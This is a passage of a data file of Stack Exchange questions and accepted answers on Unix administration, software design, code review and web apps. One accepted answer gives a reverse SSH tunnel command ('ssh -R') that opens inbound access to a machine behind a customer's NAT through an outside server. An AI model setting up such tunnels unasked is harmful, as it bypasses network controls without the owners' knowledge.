std::memory_order_acquire, std::memory_order_relaxed));}// Okay in any event, recursive or not we have the lock now.lock_count++;return;Note: I change compare_exchange_strong to compare_exchange_weak this is recommended when you call compare_exchange in a loop as per std::atomic::compare_exchange (cppreference.com).I would much prefer this implementation of unlock()void unlock(){ assert(lock_owner.load() == std::this_thread::get_id()); assert(lock_count != 0); --lock_count; if(lock_count == 0){ lock_owner.store(lock_is_free, std::memory_order_release); }}Following the style of std::mutex::unlock() stating that calling unlock when the calling thread doesn't own the lock is undefined behaviour we can simply satisfy ourselves with the two asserts to aid during debug-time. " } { "id": "_unix.332926" , "question": "I have installed many packages on my RHEL 6.6 server. I am trying to install the dependencies of createrepo and createrepo itself. I want to have a yum repository. When I use rpm -ivh *.rpm in a directory with over 50 .rpms, I get this message of failure:/usr/bin/bash is needed by glibc-common-2.17-157.el7_3.1x86_64/usr/bin/cpio is needed by kmod-20-9.el7.x86_64I installed packages for bash and cpio to try to get around this problem. What should I do about these errors? I thought I had all the dependencies.Using the yum localinstall command failed too. I tried creating a link (with ln -s) of the cpio and bash files to the locations that were referenced in the error messages. I tried copying the cpio and bash files to those locations too. But that did not work either. The error kept happening." , "title": "How do I troubleshoot unmet dependencies for bash and cpio on RHEL 6.6?" , "tags": "rhel;yum" } { "id": "_softwareengineering.92532" , "question": "I want to improve usability of K9 Email client, Make a new UI and implement some additional functionality.This software is Licensed Under Apache 2.0.http://code.google.com/p/k9mail/https://github.com/obra/k-9Can I use the whole source code of this app with some modifications to some of classes and make this app a Commercial One?I want some legal Advice.If I succeed in this then I have wish to share revenue with original developer of this app.Please give me some pointers on this.I have read about Apache 2.0 license.I am not clear about this line..provide clear attribution to The Apache Software Foundation for any distributions that include Apache softwareFrom Apache FAQhttp://www.apache.org/foundation/licence-FAQ.htmlAnd Clause 4 D from this linkhttp://www.apache.org/licenses/LICENSE-2.0Please Provide your Inputs on this.." , "title": "Use of Apache 2.0 Licensed K9 Email Android App in Commercial Email App" , "tags": "android;client relations;email;apache license" } { "id": "_unix.164236" , "question": "I use ubuntu 14.4, and attempt to redirect the output of grep command to a file, but I keep getting this error:grep: input file 'X' is also the outputI've searched for this issue and just found out that it was a bug in ubuntu 12.4 and there is not any describe about, can anybody help me to figure out this problem?I run the following command:grep -E -r -o -n r%}(.*){% > myfile" , "title": "grep: input file 'X' is also the output" , "tags": "shell;ubuntu;command line;grep;io redirection" , "accepted_answer": "It is not possible to use the same file as input and output for grep.You may consider the following alternatives:temporary filegrep pattern file > tmp_filemv tmp_file filesedsed -i -n '/pattern/p' fileput whole file in the variable (not bright idea for large files)x=$(cat file); echo $x | grep pattern > file" } { "id": "_webapps.85727" , "question": "I get at least two emails from Google every time I sign in to my account and I want it to stop.I tried changing the notification settings in Gmail, but they're still coming and they're useless.How can I stop this?" , "title": "Make Google stop sending 'new sign in from ...' emails" , "tags": "gmail;notifications" , "accepted_answer": "Researching this I've seen others have this issue but no solution was presented. One fix would be to simply put a filter on your Gmail account that deletes any email that has the title of the email that is bothering you. It's not the perfect solution but it might do until you find something that is more palatable. " } { "id": "_webmaster.11721" , "question": "Can anyone think of ways to prevent users from registering to a .php page under certain proxies? What would a group of proxies have in similar that might not effect regular users? For example, if you use Your Freedom, and try to access a .php page, is there any common factor that could be used to keep them off that part of the website in particular?I'm not looking for an answer like 'ban by IP' though. All of the IPs used by Your Freedom are from entirely different countries, and there are infinite ways to change the IP range." , "title": "Ways To Block Your Freedom and Similar Proxies?" , "tags": "php;proxy" } { "id": "_softwareengineering.321506" , "question": "I have a large image distributed over multiple machines for which I need to implement the flood fill algorithm used in MS Paint. I am able to do it with a single machine but what approach must be followed for multiple machines." , "title": "How to implement to flood fill algorithm on multiple machines?" , "tags": "algorithms;distributed system" } { "id": "_webapps.80755" , "question": "On Picasa Web Album, I can search all public photos via the explore features, for instance a search by tag: https://picasaweb.google.com/lh/view?feat=tags&psc=G&filter=0&tags=wikimania(Note, Google is hiding such features more and more in an attempt to force people to use other services. If at some point in the URL gets redirected elsewhere, see how it looks currently.)How do I do the same on Google Photos? https://photos.google.com/search/wikimania only finds my own photos with the word.Google Plus doesn't provide a side access either: https://plus.google.com/s/wikimania/photos only finds (very few) posts with photos, while I only want the photos themselves and all of them.There are other questions about searching posts and searching own photos. I also asked elswewhere how to mark and search Creative Commons images." , "title": "Search public images in Google Photos" , "tags": "google plus;search;picasa web albums;google photos" } { "id": "_webapps.75052" , "question": "How can I create a cell in Google Spreadsheet that automatically updates its value when its respective value in the web (i.e. exchange rates) changes?Is there any function that allows to retrieve the value for exchange rates from the web, so that I don't have to change that each day manually?" , "title": "Auto-update of exchange rates in Google Spreadsheets" , "tags": "google spreadsheets" } { "id": "_unix.281211" , "question": "Data: one LHC thesis' page 16, where the picture is vectorised (most probably .eps). I am reviewing the answer here of the thread Software needed to scrape data from graph.I cannot find any tool that is made to extract .eps image from a PDF file. My whole system's pseudocodeNeutralise PDF file by gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=newfile.pdf badfile.pdf (source)Find native resolution for the extraction of the vectorised image from a pdf file. (not sure about this one because no zooming may be necessary; 100% zoom level of Adobe view cannot be optimal with a screenshot)extract vectorised image from a pdf file (current goal)extract graph from .eps image where doing all in the same system would be great. Open tools with (3)Possible image formats png/xpm/jpeg/tiff/pnm/ras/bmp/gifg3data but no .eps formatEngaude-digitizer is active here, and more popular than R digitize.R digitize was removed from CRAN, because no maintainer power; but now in tpoisot's Github here and its review in Luke's blog Digitizing data from old plots using digitize but they are trying to get back to CRAN here a ticket. I have experienced a sequence of problems with the software here. One big weakness is that they sensor their github, and no feedback is welcome. Systems with (3) and (4)most probably R package which can do both things: Tools only with (3) or (4) or noneTask (4) can be done in Mathematica as described here about Is it possible to extract data from an eps plot not generated in Mathematica. However, Mathematica not suitable for Task (3) according to devtalk. Adobe Acrobat > Editing. I could not find any suitable method to do it. It seems that no Linux version in Ubuntu 16.04. From vectorized and Steps (1-2)Drag-and-drop of the figure does not work here. So must programmatically extract the figure from the pdf. There exists a terminal tool for that which extract all images/eps/... from the document, but I have no idea how well they do what they do. I would like to find here something which is just good in extracting the .eps image from a pdf file. From Rasterized to Vectorized and Steps (1-2)Example image for DavidLeBauer about the insersection of the graph with the x-axis for the discussion hereand second example about points intersecting two axes here for DavidCode% https://unix.stackexchange.com/q/281211/16920gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=data_clean.pdf badfile.pdf% drag and drop picture from data_clean.pdf to your folder in Ubuntu 16.04 by having the default zoom level; I think zoom should not affect here the result of drag-and-drop% Result: image.png% g3data image.png% bug in 16.04: http://askubuntu.com/q/767982/25388% open figure in ubuntu - Print to File > Ps.% Result: image.png.psps2eps image.png.ps% Result: image.png.eps% https://mathematica.stackexchange.com/q/85320/9815%% Mathematica starts here (* Wolfram Language Test file *)fig = Import[image.png.eps]Import[http://raw.github.com/AlexeyPopkov/shortInputForm/master/shortInputForm.m]fig // shortInputForm% Run but get error: http://askubuntu.com/q/767992/25388% NB this error comes too if I have no code in the editor. So something wrong in my way of doing this. I am amateur in Mathematica. How can you extract .eps image and its graph from a pdf file in Unix way?" , "title": "Unix way to extract vectorised image and its graph from a PDF file?" , "tags": "pdf;images" , "accepted_answer": "No sufficient supported solution exists for the case because the problem is hard inverse-problem in reality. Mathematica solutions have also significant problems with real-world applications. " } { "id": "_softwareengineering.349187" , "question": "I am on a fairly new team that is also new to TDD and Agile/Scrum. Currently we are developing a project that consists of web API and a native iOS and Android application, with a small team of devs working on each one. We were having a discussion about how to solve issues in developing concurrently and all had differing opinions and were looking for insight.Right now, when we start a story we all branch our respective projects in Git for the story where the work sits through the approval process. Frequently, the native mobile application devs are stuck waiting for code on the web API end to move further in the process so that they can consume it and start the work.Some argue that it is the web API dev's responsibility to mock that data and API endpoint from the start based on a defined contract then swap that code out for the code that will actually sit at that endpoint while the mobile developers work. The issues with this are that the mobile developers will still have a (shorter) waiting period while the data is being mocked and it will require more work on the web dev's end.Others argue that the mobile developers should be mocking that data in their tests and develop using that mocked data on their end for their unit tests, letting their integration tests fail while the web API devs work on their code since the approval of the story depends on the two party's code in unison either way. The downside of this is that it still allows for the mobile devs to get ahead of the web devs and makes their testing and implementation of their UI much harder.What are some best practices regarding this? Are either groups right, is a mix of the two groups right, or are neither of the groups right and there is another way to avoid this problem all together?" , "title": "TDD and waiting on dependencies" , "tags": "testing;agile;scrum;tdd;mocking" } { "id": "_webapps.14410" , "question": "Will it be moral to copy all city pages information for all cities in my country from Wikipedia?I need those for my website.How can I do it?" , "title": "How to download all city page of my country from Wikipedia" , "tags": "download;wikipedia" } { "id": "_codereview.23745" , "question": "I have a class, which stores an enum to track if my object is modified, newly created, or no change. If the object is modified, I have additional booleans for each field that is modified.For instance,public enum status{ NoChange, Created, Modified}private bool? name;private bool? address;...private bool? numberOfDonkeysPurchased;So the idea is that if the status is modified, then the nullable bools will be either true or false, depending on if these fields are changed. If the status is not modified, then the nullable bools will be null.The problem with this is that I have a couple of these fields that I want to check (say 10). Is it valid to create a nullable bool for each field that I am checking, knowing that I maybe be storing a lot of nulls? Or is that not a concern?Is there a better way to store this?Thanks!" , "title": "Better Alternative For Storing Multiple Booleans?" , "tags": "c#" , "accepted_answer": "Alternatively, you could use a bitmask via a Flags enum:[Flags]public enum Changes{ None = 0x000, Name = 0x001, Address = 0x002, ... NumberOfDonkeysPurchased = 0x100, ...}Then, you merely update the appropriate flags as you call setters:public string Name{ get { return name; } set { name = value; changes |= Changes.Name; }}Checking for changes is just a matter of comparing changes with Change.None.Note: this will be preferable to a collections object if you are transmitting your data between a client and a server, since the bitmask will be stored as a single int or long." } { "id": "_softwareengineering.341433" , "question": "I have a method processDataAssumingLinkedHashMapInput() that processes a Map. The Map must be a LinkedHashMap ordered by values. Data comes from getStrIntMap(query). This method gets resultSet from SQL and puts it in a LinkedHashMap. Here is the code:public void processDataAssumingLinkedHashMapInput(){ String query = select MYID, MYVALUE from MYTABLE order by MYVALUE; Map map = SQLTools.getStrIntMap(query); for (Map.Entry entry : rawEntryToSortOrderMap.entrySet()) { //do something, assuming that values are ordered } //do more stuff}//SQLTools method, used by multiple other classespublic static Map getStrIntMap(String query){ Map map = new LinkedHashMap<>(); //ResultSet to map return map;}My concern is that if someone decides to change getStrIntMap(String query) to Map map = new HashMap<>(); (for instance for performance reasons) it will break processDataAssumingLinkedHashMapInput(). I can change return type of getStrIntMap to concrete implementation, but than it wouldn't look good and someone will change it back to an abstract Map. I can create two essentially identical methods one of which returns Map and the other returns LinkedHashMap, but this would break DRY principle. I can reorder data in the beginning of processDataAssumingLinkedHashMapInput method, but this again violates DRY rule. What is the best practice for this case?" , "title": "Method requires concrete implementation of collection. Should I change all upstream methods to return concrete implementations?" , "tags": "abstract class;implementations" , "accepted_answer": "Use a little IoC. Refactor to allow the caller to inject the map instance, which will allow other developers to use the more efficient map and allow you to use the map with the features you want.public static void fillStrIntMap(String query, Map map){ //ResultSet to map }" } { "id": "_codereview.173868" , "question": "I have a Date Table like this one:Exit_Date Date_ID2017-05-31 12017-04-26 22017-01-02 32016-12-24 42016-11-27 5I use a loop to insert each of those Dates into a CTE to generates the last 15 years of these dates like this:declare @DI int = 1declare @d datewhile @DI <=5begin select @d = Exit_Date from Date_Table where Date_ID = @DI declare @EDTable table (Exit_Date Date); with a as( select dateadd(yy,-1,@d) d,0 i union all select dateadd(yy,-1,d),i+1 from a where i<14 ), b as(select d,datediff(dd,0,d)%7 dd from a) insert into @EDTable select d from b; set @DI = @DI + 1 endThe results is correct, I get 75 rows with my dates. I would like to know if there is a way to get rid of the WHILE loop by replacing variable @d by each date record from Date_Table?" , "title": "Replacing a variable in a loop by records from a Table" , "tags": "sql;sql server" , "accepted_answer": "Selecting from Date_Table in aOne option is to select Exit_Date direct from Date_Table in a. The ordering of the end results won't be the same so you may need to add an ORDER BY clause (e.g. with DATEPART()). with a as( select dateadd(yy,-1,Exit_date) d,0 i from Date_Table WHERE Date_ID <=5 union all select dateadd(yy,-1,d),i+1 from a where i<14 ), b as(select d,datediff(dd,0,d)%7 dd from a)SELECT d from b --order by DATEPART(MM,d) descSee a sample here in this SQLFidle. CursorLike I mentioned in my comment, another option is to use a Transact-SQL cursor. In the squery below, we keep the temp variables @d and @EDTable. The SELECT statement from Date_Table could have ORDER BY Date_ID ASC added if you wanted to ensure those go in order (in case the records were not added sequentially).declare @d date;declare @EDTable table (Exit_Date Date);declare dateCursor CURSOR FOR select Exit_Date from Date_Table WHERE Date_Id <=5;OPEN dateCursor FETCH NEXT FROM dateCursor INTO @dWHILE @@FETCH_STATUS = 0 BEGIN with a as( select dateadd(yy,-1,@d) d,0 i union all select dateadd(yy,-1,d),i+1 from a where i<14 ), b as(select d,datediff(dd,0,d)%7 dd from a) insert into @EDTable select d from b;--*/ FETCH NEXT FROM dateCursor INTO @d END CLOSE dateCursor; DEALLOCATE dateCursor; SELECT * FROM @EDTableI am trying to get a SQL Fiddle working but having issues with the line endings. I will update when I figure that out." } { "id": "_softwareengineering.139620" , "question": "I'm dealing with pretty stressful (in my opinion) situation in my current work place. We've started developing new project, get some requirements, implemented it and then show to someone you can call a 'business advisor' (person who knows business requirements but will not use the program). That person is supposed to evaluate application from customers point of view, test it etc.Here how the 'process' looks:business advisor talks in the evening with my boss for hour or two on windows messengerthe next day I receive email with copy of that conversation. I am supposed to choose tasks from that, check reported bugs (which often aren't bugs, just poor testing and forgetting about past establishments)I implement changes, implementation gets accepted and then in a week or two it turns out that isn't want they want (they talked with some potential client that have seen software for 5 minutes and he suggested changes) - I have to do new changesDon't get me wrong, I understand that sometimes requirements change. What upsets me is how often the change occur in my workplace and how easy for 'management' is two give new requirements or sometimes fundamental changes to existing features. At the same we working on tight deadlines and I have impression that instead of going forward with our software we're running circles.I seek advise from you how to deal with this situation? Is this normal situation and I'm just hypersensitive about it?" , "title": "How to deal with frequent requirements changes?" , "tags": "project management;software" } { "id": "_unix.65169" , "question": "I have installed a local web server for an web application for a customer. Their server is behind NAT and uses proxy for access internet. Is there a way to access the web application remotely from my computer?" , "title": "How do I access a web server behind NAT and proxy?" , "tags": "networking" , "accepted_answer": "You will need to either create a port forwarding on the NAT router, but beware because then its open to the whole internet, or you need to have something connecting out to allow you in.For example one thing what i like to do is to submit the following command behind a NAT.ssh -R 10022:127.0.0.1:22 me@myserver.comThis command connects to myserver.com and opens port 10022 there. Then everything that connects to it's port 10022 will be tunneled to the source hosts 127.0.0.1:22. Later I connect to myserver.com from anywhere, and on myserver.com I submit this:ssh -p 10022 127.0.0.1Like this I can get behind the NAT.You could also do the same by directly forwarding to the webserver, like this:ssh -R 10080::80 me@myserver.comNow, on myserver.com, you could browse to 127.0.0.1:10080 and would get to the webserver which is behind the NAT. Both solutions, port forwarding or SSH are working, but SSH is much more safe because you don't need to expose your private webserver to the internet." } { "id": "_cs.227" , "question": "Consider an filesystem targeted at some embedded devices that does little more than store files in a hierarchical directory structure. This filesystem lacks many of the operations you may be used to in systems such as unix and Windows (for example, its access permissions are completely different and not tied to metadata stored in directories). This filesystem does not allow any kind of hard link or soft link, so every file has a unique name in a strict tree structure.Is there any benefit to storing a link to the directory itself and to its parent in the on-disk data structure that represents a directory?Most unix filesystems have . and .. entries on disk. I wonder why they don't handle those at the VFS (generic filesystem driver) layer. Is this a historical artifact? Is there a good reason, and if so, which precisely, so I can determine whether it's relevant to my embedded system?" , "title": "Why store self and parent links (. and ..) in a directory entry?" , "tags": "operating systems;filesystems" } { "id": "_unix.127533" , "question": "I have one HDD. 2 partitions with Kali and Windows 8. GRUB is installed. Both OS work fine.I want to remove my Kali partition, and get it as a VM in my Windows 8 partition (I'm using VMware workstation).Is there a way to virtualize this Kali partition ? without damaging my windows 8 one ? Windows does not see the linux partition at all (at least with the Disk Manager, maybe another software is able to see it as GParted or EasyPart).Another solution is to erase my Kali partition and re-extend my windows 8 one, but I'm afraid the windows 8 partition would not boot after it. And it's less fun doing this way.But the Kali partition does not have important stuff that I want to keep/save. So if it's the only way to do it, I can format the kali partition.Hope I'm understable enough and at the right place to ask this kind of question.Many thanks." , "title": "Dual boot win/kali - virtualize the linux partition" , "tags": "partition;windows;virtualization;kali linux" , "accepted_answer": "You can use VMware Converter to convert the partition to a VM. After that, you would still need to remove the Kali partition and extend your Windows partition. If Windows doesn't see the Windows partition, try QTParted from a Knoppix LiveCD. When the partition is removed, you should be able to extend your Windows partition. I have done this several times, and I don't think extending a Windows partition has big risks associated with it. If you want to be really sure, take a backup first." } { "id": "_unix.140792" , "question": "I know there are solution for not rebooting after kernel update: https://en.wikipedia.org/wiki/KspliceBut If Ksplice isn't installed, and the user doesn't reboots it's notebook after even several kernel updates (so notebook running for even months). Could there be a problem about it? (not counting that an update probably came because there was a bugfix or security fix)" , "title": "Could it cause any problem if I not reboot after a kernel upgrade?" , "tags": "linux;kernel;upgrade" , "accepted_answer": "It won't affect the kernel itself (besides not taking advantage of the update).However, some newly installed programs might rely on newer kernel features.Also, if you run a program that relies on loading a kernel module then you may find that that module is no longer installed, and newly installed modules won't load in the old kernel.Basically, if there is a problem, you'll see it. Otherwise you're fine." } { "id": "_unix.319408" , "question": "If I were to add custom scripts in /etc/init.d/ to link them from the link farms, what happens when the distribution is updated. Is it guaranted to preserve the scripts in /etc/init.d and not to remove links from the link farms in /etc/rc*? " , "title": "Adding custom Sys V init scripts" , "tags": "startup;shutdown;daemon" } { "id": "_codereview.18158" , "question": "First, some background. I have a Payment model that has_many :subscriptions. When a user pays (creates a new payment), I have an after_create callback that adds the newly created @payment.id to @subscriptions.payment_id. Here's what it looks like:def update_subscription @unpaid_subs = Subscription.where(:user_id => self.user_id).unpaid @unpaid_subs.each do |sub| sub.payment_id = self.id sub.start # call to state_machine to change state from pending -> active sub.save endendI know that doing database queries inside a loop is generally not good for performance, but I don't know any way to update multiple records at the same time. Also, is there a way to pass the @unpaid_subs instance variable from my create action to the callback (it's the same query on both) so that I can remove the query here?" , "title": "Update subscription" , "tags": "ruby;ruby on rails;callback" , "accepted_answer": "Considering you have a state machine, you're probably doing the right thing by looping through the records. Although you could change all the subscriptions (including their state) in the database, you'd be bypassing the state machine and whatever checks and callbacks it has in place.But, if you really want to bypass the state machine, you could probably do something like this:unpaid_subs = self.user.subscriptions.unpaid # I'm assuming Payment belongs_to Userunpaid_subs.update_attributes(:payment_id => self.id, :state => 'active')Of course, it would require you to allow mass-assignment of both payment_id and (what I assume is named) state, neither of which sound like good ideas at all.So you'd have to bypass the state machine and ActiveRecord to directly update the records in the database with some raw SQL... ugh, gross.So, as I said, you're probably doing the right thing already :)" } { "id": "_webapps.22311" , "question": "How do I report directly to Facebook an external website that is offering a Free App Download for Facebook that is directly infringing upon Facebook's Privacy Policy?" , "title": "External Website Directly Infringing Facebook's Privacy Policy" , "tags": "facebook" } { "id": "_softwareengineering.352830" , "question": "Which of these two is the better way of doing the same thing - public void someMethod(String s, boolean bool02){ boolean bool01 = s!=null; if(bool01==bool02){ doSomething(); }}ORpublic void someMethod(String s, boolean bool02){ List list=new ArrayList(); if(s!=null && bool02){ doSomething(); }}The way I understand it is,Option 1 -Computes s!=nullSet it to bool01Compares bool01 to bool02and Option 2 -Computes s!=nullCompares it with trueCompares bool02 to true(depending if step 2 was true)This is not a big deal but its bugging me to know which one is better. Or does the compiler optimization(if any) converts both of them to the same thing? " , "title": "Which is better in terms of performance (bool01==bool02) vs (bool01 && bool02)" , "tags": "java;programming practices;performance;coding standards" } { "id": "_codereview.149090" , "question": "I replaced the thread by a task so there's no thread locked when there is no job to execute for hours.Now i'm not sure if the lock without an AutoResetEvent is lock safe when AllowParallelExcuteion is set to false. public class BezJobManager : IBezJobManager{ private CancellationTokenSource cts = new CancellationTokenSource(); private readonly IBezServiceResolver _serviceResolver; private List jobs = new List(); private Queue runningjobs = new Queue(); public event Action JobStartedEvent; public event Action JobFinishedEvent; public event Action JobErrorEvent; private static readonly List autoResetEventHandlers = new List(); public bool IsDisposed { get; private set; } public bool AllowParallelExecution { get; set; } public BezJobManager(IBezServiceResolver serviceResolver) { _serviceResolver = serviceResolver; } public Guid Prepare(string name, Guid userId) { if (IsDisposed) return Guid.Empty; var job = Create(name, userId); return job.Id; } public Guid Execute(string name, Guid userId, Action action) { if (IsDisposed) return Guid.Empty; var job = Create(name, userId); Execute(job, action); return job.Id; } public Guid Execute(Guid jobId, Action action) { BezExecuteJobDetail job; lock (jobs) job = jobs.FirstOrDefault(item => item.Id == jobId); if (job == null) return Guid.Empty; Execute(job,action); return job.Id; } public Guid Execute(BezExecuteJobDetail job, Action action) { if (IsDisposed) return Guid.Empty; RunningJobData runningJob; lock (runningjobs) { runningJob = CreateRunningJob(job.Id); runningJob.Action = action; } if (AllowParallelExecution) { lock (runningjobs) runningjobs.Dequeue(); Task.Run(() => RunJob(runningJob), cts.Token); } else RunSingleThread(); return job.Id; } private bool isSingleTaskRunning; private object singleTaskLocker = new object(); private void RunSingleThread() { lock (singleTaskLocker) { if (isSingleTaskRunning) return; isSingleTaskRunning = true; } Task.Run(() => { while (!IsDisposed) { try { RunningJobData jobToRun; lock (runningjobs) { lock (singleTaskLocker) { if (runningjobs.Count == 0 || IsDisposed) { Task.Delay(100).Wait(cts.Token); if (runningjobs.Count == 0 || IsDisposed) { isSingleTaskRunning = false; return; } } } jobToRun = runningjobs.Dequeue(); // It can be that the finished method is already set but not yet the action. if (jobToRun.Action == null) { runningjobs.Enqueue(jobToRun); // If there's only one job,; wait a bit, otherwise start immediatly in while loop with new other job. if (runningjobs.Count == 1) Task.Delay(50).Wait(); continue; } } RunJob(jobToRun); } catch (Exception ex) { var logger = _serviceResolver.Resolve(); if (logger != null) logger.LogError(BezJobManager:Error while running jobs, ex); } } }, cts.Token); } private void RunJob(RunningJobData runningJob) { var job = runningJob.Job; try { job.Status = BezExecuteJobDetail.BezExecuteJobDetailStatus.Running; OnJobStartedEvent(job); if (IsDisposed) return; runningJob.Action(); if (cts.Token.IsCancellationRequested) return; if (IsDisposed) return; job.Status = BezExecuteJobDetail.BezExecuteJobDetailStatus.Finished; if (cts.Token.IsCancellationRequested) return; if (IsDisposed) return; runningJob.Finished(cts.Token); runningJob.ClearAll(); OnJobFinishedEvent(job); } catch (Exception ex) { job.Status = BezExecuteJobDetail.BezExecuteJobDetailStatus.Error; job.ErrorMessage = ex.Message; var logger = _serviceResolver.Resolve(); if (logger != null) logger.LogError(BezJobManager:Error while running job: + job.Name + : + job.Status, ex); try { OnJobErrorEvent(job); } catch { } } finally { lock (jobs) jobs.Remove(job); } } public void ExecuteWhenFinished(Guid jobId, Action action) { var localJob = CreateRunningJob(jobId); localJob.AddFinishedAction(action); } private RunningJobData CreateRunningJob(Guid jobId) { RunningJobData localJob; lock (runningjobs) { localJob = runningjobs.FirstOrDefault(item => item.Job.Id == jobId); if (localJob == null) { localJob = new RunningJobData(_serviceResolver) { Job = new BezExecuteJobDetail { Id = jobId } }; runningjobs.Enqueue(localJob); } } return localJob; } public Task WaitTillFinished(Guid jobId) { return Task.Run(() => { var waitHandle = new AutoResetEvent(false); lock (autoResetEventHandlers) autoResetEventHandlers.Add(waitHandle); ExecuteWhenFinished(jobId, () => waitHandle.Set()); waitHandle.WaitOne(); lock (autoResetEventHandlers) autoResetEventHandlers.Remove(waitHandle); }); } private BezExecuteJobDetail Create(string name, Guid userId) { var job = new BezExecuteJobDetail { Name = name, Id = Guid.NewGuid(), RequestByUserId = userId, Status = BezExecuteJobDetail.BezExecuteJobDetailStatus.Created }; lock (jobs) jobs.Add(job); return job; } private void OnJobFinishedEvent(BezExecuteJobDetail obj) { var handler = JobFinishedEvent; if (handler != null) handler(obj); } private void OnJobErrorEvent(BezExecuteJobDetail obj) { var handler = JobErrorEvent; if (handler != null) handler(obj); } private void OnJobStartedEvent(BezExecuteJobDetail obj) { var handler = JobStartedEvent; if (handler != null) handler(obj); } public void Dispose() { IsDisposed = true; cts.Cancel(); } private class RunningJobData { private readonly IBezServiceResolver _serviceResolver; public BezExecuteJobDetail Job { get; set; } public Action Action { get; set; } private readonly List _actionsWhenFinished = new List(); public RunningJobData(IBezServiceResolver serviceResolver) { _serviceResolver = serviceResolver; } public void AddFinishedAction(Action action) { lock (_actionsWhenFinished) _actionsWhenFinished.Add(action); } public void ClearAll() { lock (_actionsWhenFinished) _actionsWhenFinished.Clear(); } public void Finished(CancellationToken token) { lock (_actionsWhenFinished) foreach (var action in _actionsWhenFinished) { var action1 = action; Task.Run(() => { try { action1(); } catch (Exception ex) { _serviceResolver.Resolve().LogError(BezJobClientManager:Error executing + Job.Name, ex); } }, token); } } }}" , "title": "Safe locking, replaced thread by task inside Job Manager" , "tags": "c#;thread safety;locking" } { "id": "_webmaster.21725" , "question": "I have created a few plugins and themes that I want to have special pages for. Now I do not want to make a complete new website or page for all the different plugins.Instead I want to have normal blogposts for each of my plugins and themes. Now to make things more simple I want to create a special domain name for them, with CNAME records. like this:facyplugin.mydomain.com CNAME mydomain.com/2011/09/new-fancy-pluginNow instead of giving people the long version of the link, I can just give the small one, without having to use a url crusher.--Now is this a good idea, or will this lead to problems in terms of SEO." , "title": "Creating a subdomain (sub.domain.com) for special posts on a blog: Good idea?" , "tags": "seo;blog;links" , "accepted_answer": "It will have no effect on your SEO. Subdomains are no different then subdirectories as far as SEO goes. If you think this will make it easier to promote your plug-ins then definitely do it. But don't expect any special rankings because of it." } { "id": "_webmaster.14048" , "question": "Sorry if this has been covered, I can't find anything on this specifically.I have wildcard subdomains on (*.mysite.com) I need a mod_rewrite expression for this rewrite:bob.mysite.com => mysite.com/users/index.php?user=bobbob.mysite.com/profile/ => mysite.com/users/index.php?user=bob/profile/Obviously bob and profile are just examples, I need the general case. Thanks for your help!" , "title": "mod_rewrite rule for wildcard subdomains?" , "tags": "mod rewrite" , "accepted_answer": "The $ operator will let you extract backreferences from matches in rewrite rules and the % operator will let you extract references from conditions.RewriteCond %{HTTP_HOST} !www.mysite.com$ [NC] # Presuming you don't want to do wwwRewriteCond %{HTTP_HOST} ^(.*)\\.mysite\\.com [NC] # Catch subdomainRewriteCond %{REQUEST_URI} !index\\.php [NC] # Don't rewrite if we already haveRewriteRule ^(.*)$ /users/index.php?user=%1$1 [L]" } { "id": "_unix.115583" , "question": "To keep my Input Method (Bogo or Unikey) of IBus working with Dvorak keyboard layout after reboot, I use sudo dpkg-reconfigure keyboard-configuration to set keyboard as Dvorak, and go to tab Advance in IBus Preferences to check Use system keyboard layout.The problem is, sometimes my friends want to borrow my laptop and I can not easily switch to Qwerty layout because any Input Method will use Dvorak. The English - English (US) is the same as English - English (Dvorak) one.Any idea? Info: I'm use IBus 1.5.3 and it says this is the newest version. So do Cinnamon." , "title": "Can't use QWERTY layout after make IBus work with Dvorak layout after reboot" , "tags": "keyboard layout;reboot;input method;ibus" } { "id": "_softwareengineering.196293" , "question": "With advent of WPF and MVVM Microsoft introduced DependencyProperties and INotifyPropertyChange interface to provide a way to implement the reactive approach used with those technologies.Sadly both of these constructs are very verbose, require much boilerplate, are clumsy to use, also are not really that safe since they require much use of magic strings.So here come the question: why didn't they put these functionalities directly into the language - why didn't they create new kind of properties created with a simple keyword, providing useful stuff of DependencyProperties (like events on change and so on...).What were stopping them?" , "title": "Why DependencyProperties and not native language support?" , "tags": "c#;wpf;mvvm" , "accepted_answer": "Dependecy properties are very WPF-specific. As far as I know, even WinRT (which is XAML-based, just like WPF) doesn't use them. So, you are proposing adding a feature that wouldn't be at all useful for people who develop ASP.NET applications, Windows services, web services, WinRT applications, etc. That's points against this feature.Also, it's not clear to me how exactly would this work. How would you set the default value of the property? Or PropertyChangedCallback? What about attached properties? If the feature you're proposing couldn't handle all this, it would make it much less useful. If it did, I have no idea how would the syntax look like, but I doubt it would fit well with the rest of C#.And this feature doesn't actually add much, it just makes some code slightly more convenient.This all says to me that such a feature wouldn't be worth it, considering that it would be relatively complicated change that would be useful only in a relatively small subset of programs and even in those wouldn't be actually useful that much." } { "id": "_softwareengineering.150915" , "question": "I was just wondering if a language could support something like a Retry/Fix block?The answer to this question is probably the reason it's a bad idea or equivalent to something else, but the idea keeps popping into my head.void F(){ try { G(); } fix(WrongNumber wn, out int x) { x = 1; }}void G(){ int x = 0; retry { if(x != 1) throw new WrongNumber(x); }}After the fix block ran, the retry block would run again..." , "title": "Can a language support something like Retry/Fix?" , "tags": "programming languages" , "accepted_answer": "Yes, a language could do that.There are examples in existing languages. Common Lisp provides a system which allows an exception (condition, in CL terminology) handler to return control to the point at which the exception was thrown, passing extra information about how the condition should be handled.A good description of this is available in the book Practical Common Lisp, 19. Beyond Exception Handling: Conditions and RestartsAs other commenters have mentioned, Scheme's general continuation system could be used to implement this, and Eiffel provides similar functionality.Thanks to @9000 and @delnan for bringing up Eiffel and call/cc in the comments on the question" } { "id": "_unix.119762" , "question": "I know to dump memory images in Windows. (eg-dumpit) But I don't know how to dump memory images in Linux.I want to get memory images in Linux and from Linux to Linux with ssh connection or something.How can I get in Linux?" , "title": "How to dump memory image from linux system?" , "tags": "memory;forensics;dump" } { "id": "_softwareengineering.19317" , "question": "I keep running into the same problems. The problem is irrelevant, but the fact that I keep running into is completely frustrating.The problem only happens once every, 3-6 months or so as I stub out a new iteration of the project. I keep a journal every time, but I spend at least a day or two each iteration trying to get the issue resolved.How do you guys keep from making the same mistakes over and over?I've tried a journal but it apparently doesn't work for me.[Edit]A few more details about the issue: Each time I make a new project to hold the files, I import a particular library. The library is a C++ library which imports glew.h and glx.h GLX redefines BOOL and that's not kosher since BOOL is a keyword for ObjC.I had a fix the last time I went through this. I #ifndef the header in the library to exclude GLEW and GLX and everything worked hunky-dory.This time, however, I do the same thing, use the same #ifndef block but now it throws a bunch of errors. I go 